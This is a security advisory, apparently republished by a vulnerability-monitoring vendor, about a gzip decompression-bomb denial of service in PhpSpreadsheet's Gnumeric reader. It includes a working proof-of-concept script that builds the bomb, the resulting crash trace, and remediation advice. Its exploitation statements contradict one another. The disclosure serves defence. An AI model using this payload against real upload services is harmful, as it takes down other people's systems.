Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-2mrg-gjxq-2gvr
No affected components available
Summary
PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.
This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.
Vulnerability details
Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:
src/PhpSpreadsheet/Reader/Gnumeric.php:80-90calls$this->gzfileGetContents($filename)fromcanRead().src/PhpSpreadsheet/Reader/Gnumeric.php:105-115callscanRead()and then reads the expanded contents again for worksheet-name listing.src/PhpSpreadsheet/Reader/Gnumeric.php:253-265callscanRead()and then reads the expanded contents again for full loading.
The vulnerable expansion is in gzfileGetContents():
src/PhpSpreadsheet/Reader/Gnumeric.php:187-190reads the entire input file into$contentswithfile_get_contents().src/PhpSpreadsheet/Reader/Gnumeric.php:192-197detects gzip magic bytes and callsgzdecode($contents)without a decompressed-size cap.src/PhpSpreadsheet/Reader/Gnumeric.php:204-205scans the expanded data only after decompression has already completed.
Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.
Impact
A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.
In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory_limit=64M at Reader/Gnumeric.php:195.
Safe local proof of concept
This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.
docker run --rm --network none -i \
-v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
-w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">";
$suffix = "</gnm:Workbook>";
$payload = $prefix . str_repeat("A", 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents("/tmp/bomb.gnumeric", $gz);
printf("compressed_size=%d expanded_size=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
var_dump($r->canRead("/tmp/bomb.gnumeric"));
' 2>&1 || true
SH
Observed output:
compressed_size=97811 expanded_size=100663390
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP 1. {main}() Command line code:0
PHP 2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4
PHP 3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP 4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195
Suggested remediation
- Do not decompress gzip data with unbounded
gzdecode()for untrusted.gnumericfiles. - Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
- Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
- Ensure
canRead(),listWorksheetNames(),listWorksheetInfo(), andload()share bounded decompression logic and avoid decompressing the same file repeatedly. - Fail closed with a recoverable
Reader\Exceptionwhen limits are exceeded, rather than allowing a PHP fatal memory error.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard